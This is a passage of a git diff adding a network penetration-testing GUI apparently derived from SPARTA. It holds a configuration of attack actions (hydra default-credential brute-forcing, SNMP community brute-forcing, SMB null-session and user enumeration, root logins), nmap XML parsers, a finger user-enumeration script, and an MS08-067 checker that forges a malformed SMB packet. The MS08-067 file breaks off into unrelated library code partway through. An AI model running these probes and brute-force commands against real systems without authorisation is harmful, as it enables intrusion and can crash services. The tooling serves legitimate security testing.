[IP] -oA \"[OUTPUT]\"" +nmap-full-udp=Run nmap (full UDP), nmap -n -Pn -sU -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\" +unicornscan-full-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v + +[PortActions] +banner=Grab banner, bash -c \"echo \"\" | nc -v -n -w1 [IP] [PORT]\", +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +nikto=Run nikto, nikto -o \"[OUTPUT].txt\" -p [PORT] -h [IP], "http,https,ssl,soap,http-proxy,http-alt" +dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=\"[OUTPUT].txt\"", "http,https,ssl,soap,http-proxy,http-alt" +samrdump=Run samrdump, python /usr/share/doc/python-impacket/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +snmpcheck=Run snmpcheck, snmp-check -t [IP], "snmp,snmptrap" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +showmount=Show nfs shares, showmount -e [IP], nfs +x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP], X11 +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +rwho=Run rwho, rwho -a [IP], who +finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns + +[PortTerminalActions] +netcat=Open with netcat, nc -v [IP] [PORT], +telnet=Open with telnet, telnet [IP] [PORT], +ftp=Open with ftp client, ftp [IP] [PORT], ftp +mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server +rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp +rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login +rsh=Open with rsh, rsh -l root [IP], shell + +[SchedulerSettings] +nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +smbenum=microsoft-ds, tcp +snmpcheck=snmp, udp +x11screen=X11, tcp +snmp-default=snmp, udp +smtp-enum-vrfy=smtp, tcp +mysql-default=mysql, tcp +mssql-default=ms-sql-s, tcp +ftp-default=ftp, tcp +postgres-default=postgresql, tcp +oracle-default=oracle-tns, tcp diff --git a/legion.py b/legion.py new file mode 100644 index 00000000..28b7f24e --- /dev/null +++ b/legion.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2018 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +# check for dependencies first (make sure all non-standard dependencies are checked for here) +try: + from sqlalchemy.orm.scoping import ScopedSession as scoped_session + #import elixir +except ImportError as e: + print("[-] Import failed. SQL Alchemy library not found") + exit(1) + +try: + from PyQt4 import QtGui, QtCore +except ImportError as e: + print("[-] Import failed. PyQt4 library not found") + print(e) + exit(1) + +try: + from PyQt4 import QtWebKit +except ImportError as e: + try: + from PySide import QtWebKit + except ImportError: + print("[-] Import failed. QtWebKit library not found") + exit(1) + +from app.logic import * +from ui.gui import * +from ui.view import * +from controller.controller import * + +# this class is used to catch events such as arrow key presses or close window (X) +class MyEventFilter(QObject): + + def eventFilter(self, receiver, event): + # catch up/down arrow key presses in hoststable + if(event.type() == QEvent.KeyPress and (receiver == view.ui.HostsTableView or receiver == view.ui.ServiceNamesTableView or receiver == view.ui.ToolsTableView or receiver == view.ui.ToolHostsTableView or receiver == view.ui.ScriptsTableView or receiver == view.ui.ServicesTableView or receiver == view.settingsWidget.toolForHostsTableWidget or receiver == view.settingsWidget.toolForServiceTableWidget or receiver == view.settingsWidget.toolForTerminalTableWidget)): + key = event.key() + if not receiver.selectionModel().selectedRows(): + return True + index = receiver.selectionModel().selectedRows()[0].row() + + if key == QtCore.Qt.Key_Down: + newindex = index + 1 + receiver.selectRow(newindex) + receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) + + elif key == QtCore.Qt.Key_Up: + newindex = index - 1 + receiver.selectRow(newindex) + receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) + + elif QtGui.QApplication.keyboardModifiers() == QtCore.Qt.ControlModifier and key == QtCore.Qt.Key_C: + selected = receiver.selectionModel().currentIndex() + clipboard = QtGui.QApplication.clipboard() + clipboard.setText(selected.data().toString()) + + return True + + elif(event.type() == QEvent.Close and receiver == MainWindow): + event.ignore() + view.appExit() + return True + + else: + return super(MyEventFilter,self).eventFilter(receiver, event) # normal event processing + +if __name__ == "__main__": + + app = QtGui.QApplication(sys.argv) + myFilter = MyEventFilter() # to capture events + app.installEventFilter(myFilter) + app.setWindowIcon(QIcon('./images/icons/logo.png')) + + MainWindow = QtGui.QMainWindow() + ui = Ui_MainWindow() + ui.setupUi(MainWindow) + + try: + qss_file = open('./ui/sparta.qss').read() + except IOError as e: + print("[-] The sparta.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") + exit(0) + + MainWindow.setStyleSheet(qss_file) + + logic = Logic() # Model prep (logic, db and models) + view = View(ui, MainWindow) # View prep (gui) + controller = Controller(view, logic) # Controller prep (communication between model and view) + + #MainWindow.show() + sys.exit(app.exec_()) diff --git a/parsers/Host.py b/parsers/Host.py new file mode 100644 index 00000000..4280ce3f --- /dev/null +++ b/parsers/Host.py @@ -0,0 +1,150 @@ +#!/usr/bin/python + +__author__ = 'yunshu(wustyunshu@hotmail.com)' +__version__= '0.2' +__modified_by = 'ketchup' + +import sys +import pprint +import parsers.Service as Service +import parsers.Script as Script +import parsers.OS as OS +import parsers.Port as Port +import xml.dom.minidom + +class Host: + ipv4 = '' + ipv6 = '' + macaddr = '' + status = 'none' + hostname = '' + vendor = '' + uptime = '' + lastboot = '' + distance = 0 + state = '' + count = '' + + def __init__( self, HostNode ): + self.host_node = HostNode + self.status = HostNode.getElementsByTagName('status')[0].getAttribute('state') + for e in HostNode.getElementsByTagName('address'): + if e.getAttribute('addrtype') == 'ipv4': + self.ipv4 = e.getAttribute('addr') + elif e.getAttribute('addrtype') == 'ipv6': + self.ipv6 = e.getAttribute('addr') + elif e.getAttribute('addrtype') == 'mac': + self.macaddr = e.getAttribute('addr') + self.vendor = e.getAttribute('vendor') + #self.ip = HostNode.getElementsByTagName('address')[0].getAttribute('addr'); + self.ip = self.ipv4 # for compatibility with the original library + if len(HostNode.getElementsByTagName('hostname')) > 0: + self.hostname = HostNode.getElementsByTagName('hostname')[0].getAttribute('name') + if len(HostNode.getElementsByTagName('uptime')) > 0: + self.uptime = HostNode.getElementsByTagName('uptime')[0].getAttribute('seconds') + self.lastboot = HostNode.getElementsByTagName('uptime')[0].getAttribute('lastboot') + if len(HostNode.getElementsByTagName('distance')) > 0: + self.distance = int(HostNode.getElementsByTagName('distance')[0].getAttribute('value')) + if len(HostNode.getElementsByTagName('extraports')) > 0: + self.state = HostNode.getElementsByTagName('extraports')[0].getAttribute('state') + self.count = HostNode.getElementsByTagName('extraports')[0].getAttribute('count') + + def get_OS(self): + oss = [] + + for OS_node in self.host_node.getElementsByTagName('osclass'): + os = OS.OS(OS_node) + oss.append(os) + + for OS_node in self.host_node.getElementsByTagName('osmatch'): + os = OS.OS(OS_node) + oss.append(os) + + return oss + + def all_ports( self ): + + ports = [ ] + + for port_node in self.host_node.getElementsByTagName('port'): + p = Port.Port(port_node) + ports.append(p) + + return ports + + def get_ports( self, protocol, state ): + '''get a list of ports which is in the special state''' + + open_ports = [ ] + + for port_node in self.host_node.getElementsByTagName('port'): + if port_node.getAttribute('protocol') == protocol and port_node.getElementsByTagName('state')[0].getAttribute('state') == state: + open_ports.append( port_node.getAttribute('portid') ) + + return open_ports + + def get_scripts( self ): + + scripts = [ ] + + for script_node in self.host_node.getElementsByTagName('script'): + scr = Script.Script(script_node) + scripts.append(scr) + + return scripts + + def get_hostscripts( self ): + + scripts = [ ] + for hostscript_node in self.host_node.getElementsByTagName('hostscript'): + for script_node in hostscript_node.getElementsByTagName('script'): + scr = Script.Script(script_node) + scripts.append(scr) + + return scripts + + def get_service( self, protocol, port ): + '''return a Service object''' + + for port_node in self.host_node.getElementsByTagName('port'): + if port_node.getAttribute('protocol') == protocol and port_node.getAttribute('portid') == port: + if (len(port_node.getElementsByTagName('service'))) > 0: + service_node = port_node.getElementsByTagName('service')[0] + service = Service.Service( service_node ) + return service + return None + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('/tmp/test_pwn01.xml') + host_nodes = dom.getElementsByTagName('host') + + if len(host_nodes) == 0: + sys.exit( ) + + host_node = dom.getElementsByTagName('host')[0] + + h = Host( host_node ) + print('host status: ' + h.status) + print('host ip: ' + h.ip) + + for port in h.get_ports( 'tcp', 'open' ): + print(port + " is open") + + print("script output:") + for scr in h.get_scripts(): + print("script id:" + scr.scriptId) + print("Output:") + print(scr.output) + + print("service of tcp port 80:") + s = h.get_service( 'tcp', '80' ) + if s == None: + print("\tno service") + + else: + print("\t" + s.name) + print("\t" + s.product) + print("\t" + s.version) + print("\t" + s.extrainfo) + print("\t" + s.fingerprint) diff --git a/parsers/OS.py b/parsers/OS.py new file mode 100644 index 00000000..03537684 --- /dev/null +++ b/parsers/OS.py @@ -0,0 +1,50 @@ +#!/usr/bin/python + +__author__ = 'ketchup' +__version__= '0.1' +__modified_by = 'ketchup' + +import sys +import xml.dom.minidom + +class OS: + name = '' + family = '' + generation = '' + os_type = '' + vendor = '' + accuracy = 0 + + def __init__(self, OSNode): + if not (OSNode is None): + self.name = OSNode.getAttribute('name') + self.family = OSNode.getAttribute('osfamily') + self.generation = OSNode.getAttribute('osgen') + self.os_type = OSNode.getAttribute('type') + self.vendor = OSNode.getAttribute('vendor') + self.accuracy = OSNode.getAttribute('accuracy') + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('test.xml') + + osclass = dom.getElementsByTagName('osclass')[0] + + osmatch = dom.getElementsByTagName('osmatch')[0] + + + os = OS(osclass) + print(os.name) + print(os.family) + print(os.generation) + print(os.os_type) + print(os.vendor) + print(str(os.accuracy)) + + os = OS(osmatch) + print(os.name) + print(os.family) + print(os.generation) + print(os.os_type) + print(os.vendor) + print(str(os.accuracy)) diff --git a/parsers/Parser.py b/parsers/Parser.py new file mode 100644 index 00000000..ddf63d90 --- /dev/null +++ b/parsers/Parser.py @@ -0,0 +1,148 @@ +#!/usr/bin/python + +'''this module used to parse nmap xml report''' +__author__ = 'yunshu(wustyunshu@hotmail.com)' +__version__= '0.2' +__modified_by = 'ketchup' +__modified_by = 'SECFORCE' + +import sys +import pprint +import logging +import parsers.Session as Session +import parsers.Host as Host +import parsers.Script as Script +import xml.dom.minidom +from six import u as unicode + +class Parser: + + '''Parser class, parse a xml format nmap report''' + def __init__( self, xml_input ): + '''constructor function, need a xml file name as the argument''' + try: + self.__dom = xml.dom.minidom.parse(xml_input) + self.__session = None + self.__hosts = { } + for host_node in self.__dom.getElementsByTagName('host'): + __host = Host.Host(host_node) + self.__hosts[__host.ip] = __host + except Exception as ex: + print("\t[-] Parser error! Invalid nmap file!") + #logging.error(ex) + raise + + def get_session( self ): + '''get this scans information, return a Session object''' + run_node = self.__dom.getElementsByTagName('nmaprun')[0] + hosts_node = self.__dom.getElementsByTagName('hosts')[0] + + finish_time = self.__dom.getElementsByTagName('finished')[0].getAttribute('timestr') + + nmap_version = run_node.getAttribute('version') + start_time = run_node.getAttribute('startstr') + scan_args = run_node.getAttribute('args') + + total_hosts = hosts_node.getAttribute('total') + up_hosts = hosts_node.getAttribute('up') + down_hosts = hosts_node.getAttribute('down') + + MySession = { 'finish_time': finish_time, + 'nmap_version' : nmap_version, + 'scan_args' : scan_args, + 'start_time' : start_time, + 'total_hosts' : total_hosts, + 'up_hosts' : up_hosts, + 'down_hosts' : down_hosts } + + self.__session = Session.Session( MySession ) + + return self.__session + + def get_host( self, ipaddr ): + + '''get a Host object by ip address''' + + return self.__hosts.get(ipaddr) + + def all_hosts( self, status = '' ): + + '''get a list of Host object''' + + if( status == '' ): + return self.__hosts.values( ) + + else: + __tmp_hosts = [ ] + + for __host in self.__hosts.values( ): + + if __host.status == status: + __tmp_hosts.append( __host ) + + return __tmp_hosts + + def all_ips( self, status = '' ): + + '''get a list of ip address''' + __tmp_ips = [ ] + + if( status == '' ): + for __host in self.__hosts.values( ): + + __tmp_ips.append( __host.ip ) + + else: + for __host in self.__hosts.values( ): + + if __host.status == status: + __tmp_ips.append( __host.ip ) + + return __tmp_ips + +if __name__ == '__main__': + + parser = Parser( 'a-full.xml' ) + + print('\nscan session:') + session = parser.get_session() + print("\tstart time:\t" + session.start_time) + print("\tstop time:\t" + session.finish_time) + print("\tnmap version:\t" + session.nmap_version) + print("\tnmap args:\t" + session.scan_args) + print("\ttotal hosts:\t" + session.total_hosts) + print("\tup hosts:\t" + session.up_hosts) + print("\tdown hosts:\t" + session.down_hosts) + + for h in parser.all_hosts(): + + print('host ' +h.ip + ' is ' + h.status) + + for port in h.get_ports( 'tcp', 'open' ): + print("\t---------------------------------------------------") + print("\tservice of tcp port " + port + ":") + s = h.get_service( 'tcp', port ) + + if s == None: + print("\t\tno service") + + else: + print("\t\t" + s.name) + print("\t\t" + s.product) + print("\t\t" + s.version) + print("\t\t" + s.extrainfo) + print("\t\t" + s.fingerprint) + + print("\tscript output:") + sc = port.get_scripts() + + if sc == None: + print("\t\tno scripts") + + else: + for scr in sc: + print("Script ID: " + scr.scriptId) + print("Output: ") + print(scr.output) + + print("\t---------------------------------------------------") diff --git a/parsers/Port.py b/parsers/Port.py new file mode 100644 index 00000000..de9bb700 --- /dev/null +++ b/parsers/Port.py @@ -0,0 +1,40 @@ +#!/usr/bin/python + +__author__ = 'SECFORCE' +__version__= '0.1' + +import sys +import xml.dom.minidom +#import parsers.Script as Service <- Not exist? +import parsers.Script as Script + +class Port: + portId = '' + protocol= '' + state='' + + def __init__(self, PortNode): + if not (PortNode is None): + self.port_node = PortNode + self.portId = PortNode.getAttribute('portid') + self.protocol = PortNode.getAttribute('protocol') + self.state = PortNode.getElementsByTagName('state')[0].getAttribute('state') + + def get_service(self): + + #service_node = self.port_node.getElementsByTagName('service') + + #if len(service_node) > 0: + # return Service.Service(service_node[0]) + + return None + + def get_scripts(self): + + scripts = [ ] + + for script_node in self.port_node.getElementsByTagName('script'): + scr = Script.Script(script_node) + scripts.append(scr) + + return scripts diff --git a/parsers/Script.py b/parsers/Script.py new file mode 100644 index 00000000..18904e77 --- /dev/null +++ b/parsers/Script.py @@ -0,0 +1,27 @@ +#!/usr/bin/python + +__author__ = 'ketchup' +__version__= '0.1' +__modified_by = 'ketchup' + +import sys +import xml.dom.minidom + +class Script: + scriptId = '' + output = '' + + def __init__(self, ScriptNode): + if not (ScriptNode is None): + self.scriptId = ScriptNode.getAttribute('id') + self.output = ScriptNode.getAttribute('output') + + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('a-full.xml') + + for scriptNode in dom.getElementsByTagName('script'): + script = Script(scriptNode) + print(script.scriptId) + print(script.output) diff --git a/parsers/Service.py b/parsers/Service.py new file mode 100644 index 00000000..4d2f311f --- /dev/null +++ b/parsers/Service.py @@ -0,0 +1,40 @@ +#!/usr/bin/python + +__author__ = 'yunshu(wustyunshu@hotmail.com)' +__version__= '0.2' +__modified_by = 'ketchup' + +import sys +import xml.dom.minidom + +class Service: + extrainfo = '' + name = '' + product = '' + fingerprint = '' + version = '' + + def __init__( self, ServiceNode ): + self.extrainfo = ServiceNode.getAttribute('extrainfo') + self.name = ServiceNode.getAttribute('name') + self.product = ServiceNode.getAttribute('product') + self.fingerprint = ServiceNode.getAttribute('servicefp') + self.version = ServiceNode.getAttribute('version') + + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('i.xml') + + service_nodes = dom.getElementsByTagName('service') + if len(service_nodes) == 0: + sys.exit() + + node = dom.getElementsByTagName('service')[0] + + s = Service( node ) + print(s.name) + print(s.product) + print(s.version) + print(s.extrainfo) + print(s.fingerprint) diff --git a/parsers/Session.py b/parsers/Session.py new file mode 100644 index 00000000..ef035ef1 --- /dev/null +++ b/parsers/Session.py @@ -0,0 +1,34 @@ +#!/usr/bin/python + +__author__ = 'yunshu(wustyunshu@hotmail.com)' +__version__= '0.2' + +import sys +import xml.dom.minidom + +class Session: + def __init__( self, SessionHT ): + self.start_time = SessionHT.get('start_time', '') + self.finish_time = SessionHT.get('finish_time', '') + self.nmap_version = SessionHT.get('nmap_version', '') + self.scan_args = SessionHT.get('scan_args', '') + self.total_hosts = SessionHT.get('total_hosts', '') + self.up_hosts = SessionHT.get('up_hosts', '') + self.down_hosts = SessionHT.get('down_hosts', '') + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('i.xml') + dom.getElementsByTagName('finished')[0].getAttribute('timestr') + + MySession = { 'finish_time': dom.getElementsByTagName('finished')[0].getAttribute('timestr'), 'nmap_version' : '4.79', 'scan_args' : '-sS -sV -A -T4', 'start_time' : dom.getElementsByTagName('nmaprun')[0].getAttribute('startstr'), 'total_hosts' : '1', 'up_hosts' : '1', 'down_hosts' : '0' } + + s = Session( MySession ) + + print('start_time:' + s.start_time) + print('finish_time:' + s.finish_time) + print('nmap_version:' + s.nmap_version) + print('nmap_args:' + s.scan_args) + print('total hosts:' + s.total_hosts) + print('up hosts:' + s.up_hosts) + print('down hosts:' + s.down_hosts) diff --git a/parsers/__init__.py b/parsers/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/scripts/fingertool.sh b/scripts/fingertool.sh new file mode 100644 index 00000000..06223d92 --- /dev/null +++ b/scripts/fingertool.sh @@ -0,0 +1,30 @@ +#!/bin/bash +# fingertool - This script will enumerate users using finger +# SECFORCE - Antonio Quina + +if [ $# -eq 0 ] + then + echo "Usage: $0 []" + echo "eg: $0 10.10.10.10 users.txt" + exit + else + IP="$1" +fi + +if [ "$2" == "" ] + then + WORDLIST="/usr/share/metasploit-framework/data/wordlists/unix_users.txt" + else + WORDLIST="$2" +fi + + +for username in $(cat $WORDLIST | sort -u| uniq) + do output=$(finger -l $username@$IP) + if [[ $output == *"Directory"* ]] + then + echo "Found user: $username" + fi + done + +echo "Finished!" \ No newline at end of file diff --git a/scripts/ms08-067_check.py b/scripts/ms08-067_check.py new file mode 100644 index 00000000..f2b02813 --- /dev/null +++ b/scripts/ms08-067_check.py @@ -0,0 +1,281 @@ +#!/usr/bin/env python + +''' +Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability + +Description: +Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution) + +Author: Bernardo Damele A. G. + +License: Modified Apache 1.1 + +Version: 0.6 + +References: +* BID: 31874 +* CVE: 2008-4250 +* MSB: MS08-067 +* VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx +* VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx +* MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/ +* MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb +* MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html +* MISC: http://blogs.securiteam.com/index.php/archives/1150 + +Tested: +* Windows 2000 Server Service Pack 0 +* Windows 2000 Server Service Pack 4 with Update Rollup 1 +* Microsoft 2003 Standard Service Pack 1 +* Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released + +Notes: +* On Windows XP SP2 and SP3 this check might lead to a race condition and + heap corruption in the svchost.exe process, but it may not crash the + service immediately: it can trigger later on inside any of the shared + services in the process. +''' + + +import socket +import sys + +from optparse import OptionError +from optparse import OptionParser +from random import choice +from string import letters +from struct import pack +from threading import Thread +from traceback import format_exc + +try: + from impacket import smb + from impacket import uuid + from impacket.dcerpc.v5 import dcerpc + from impacket.dcerpc.v5 import transport +except ImportError, _: + print 'ERROR: this tool requires python-impacket library to be installed, get it ' + print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket' + sys.exit(1) + +try: + from ndr import * +except ImportError, _: + print 'ERROR: this tool requires python-pymsrpc library to be installed, get it ' + print 'from http://code.google.com/p/pymsrpc/' + sys.exit(1) + + +CMDLINE = False +SILENT = False + + +class connectionException(Exception): + pass + + +class MS08_067(Thread): + def __init__(self, target, port=445): + super(MS08_067, self).__init__() + + self.__port = port + self.target = target + self.status = 'unknown' + + + def __checkPort(self): + ''' + Open connection to TCP port to check if it is open + ''' + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(1) + s.connect((self.target, self.__port)) + s.close() + + except socket.timeout, _: + raise connectionException, 'connection timeout' + + except socket.error, _: + raise connectionException, 'connection refused' + + + def __connect(self): + ''' + SMB connect to the Computer Browser service named pipe + Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html + ''' + + try: + self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) + self.__trans.connect() + + except smb.SessionError, _: + raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)' + + except: + #raise Exception, 'unhandled exception (%s)' % format_exc() + raise connectionException, 'unexpected exception' + + + def __bind(self): + ''' + DCERPC bind to SRVSVC (Server Service) endpoint + Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html + ''' + + try: + self.__dce = self.__trans.DCERPC_class(self.__trans) + + self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) + + except socket.error, _: + raise connectionException, 'unable to bind to SRVSVC endpoint' + + except: + #raise Exception, 'unhandled exception (%s)' % format_exc() + raise connectionException, 'unexpected exception' + + + def __forgePacket(self): + ''' + Forge the malicious NetprPathCompare packet + + Reference: http://msdn.microsoft.com/en-us/library/cc247259.aspx + + long NetprPathCompare( + [in, string, unique] SRVSVC_HANDLE ServerName, + [in, string] WCHAR* PathName1, + [in, string] WCHAR* PathName2, + [in] DWORD PathType, + [in] DWORD Flags + ); + ''' + + self.__path = ''.join([choice(letters) for _ in xrange(0, 3)]) + + self.__request = ndr_unique(pointer_value=0x00020000, data=ndr_wstring(data='')).serialize() + self.__request += ndr_wstring(data='\\%s\\..\\%s' % ('A'*5, self.__path)).serialize() + self.__request += ndr_wstring(data='\\%s' % self.__path).serialize() + self.__request += ndr_long(data=1).serialize() + self.__request += ndr_long(data=0).serialize() + + + def __compare(self): + ''' + Compare NetprPathCompare response field 'Windows Error' with the + expected value (WERR_OK) to confirm the target is vulnerable + ''' + + self.__vulnerable = pack(' self.high: + self.data.data = self.high + elif self.data.get_data() < self.low: + self.data.data = self.low + + return self.data.serialize() + +class ndr_enum16(ndr_primitive): + ''' + encode: /* enum16 */ short element_1; + ''' + def __init__(self, **kwargs): + self.data = kwargs.get('data', 0x0004) + self.signed = kwargs.get('signed', True) + self.name = kwargs.get('name', "") + self.size = 2 + + def get_data(self): + return self.data + + def set_data(self, new_data): + self.data = new_data + + def get_name(self): + return self.name + + def get_size(self): + return self.size + + def serialize(self): + if self.signed: + return struct.pack(" install Encoding::BER +# +# References: +# +# [MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting Specification +# http://msdn.microsoft.com/en-us/library/cc240445(v=prot.10).aspx +# +use strict; +use warnings; +use IO::Socket::INET; +use Getopt::Long; +use Encoding::BER; + +my %rdp_neg_type; +$rdp_neg_type{"01"} = "TYPE_RDP_NEG_REQ"; +$rdp_neg_type{"02"} = "TYPE_RDP_NEG_RSP"; +$rdp_neg_type{"03"} = "TYPE_RDP_NEG_FAILURE"; + +my %rdp_neg_rsp_flags; +$rdp_neg_rsp_flags{"00"} = "NO_FLAGS_SET"; +$rdp_neg_rsp_flags{"01"} = "EXTENDED_CLIENT_DATA_SUPPORTED"; +$rdp_neg_rsp_flags{"02"} = "DYNVC_GFX_PROTOCOL_SUPPORTED"; + +my %rdp_neg_protocol; +$rdp_neg_protocol{"00"} = "PROTOCOL_RDP"; +$rdp_neg_protocol{"01"} = "PROTOCOL_SSL"; +$rdp_neg_protocol{"02"} = "PROTOCOL_HYBRID"; + +my %rdp_neg_failure_code; +$rdp_neg_failure_code{"01"} = "SSL_REQUIRED_BY_SERVER"; +$rdp_neg_failure_code{"02"} = "SSL_NOT_ALLOWED_BY_SERVER"; +$rdp_neg_failure_code{"03"} = "SSL_CERT_NOT_ON_SERVER"; +$rdp_neg_failure_code{"04"} = "INCONSISTENT_FLAGS"; +$rdp_neg_failure_code{"05"} = "HYBRID_REQUIRED_BY_SERVER"; +$rdp_neg_failure_code{"06"} = "SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER"; + +my %encryption_level; +$encryption_level{"00000000"} = "ENCRYPTION_LEVEL_NONE"; +$encryption_level{"00000001"} = "ENCRYPTION_LEVEL_LOW"; 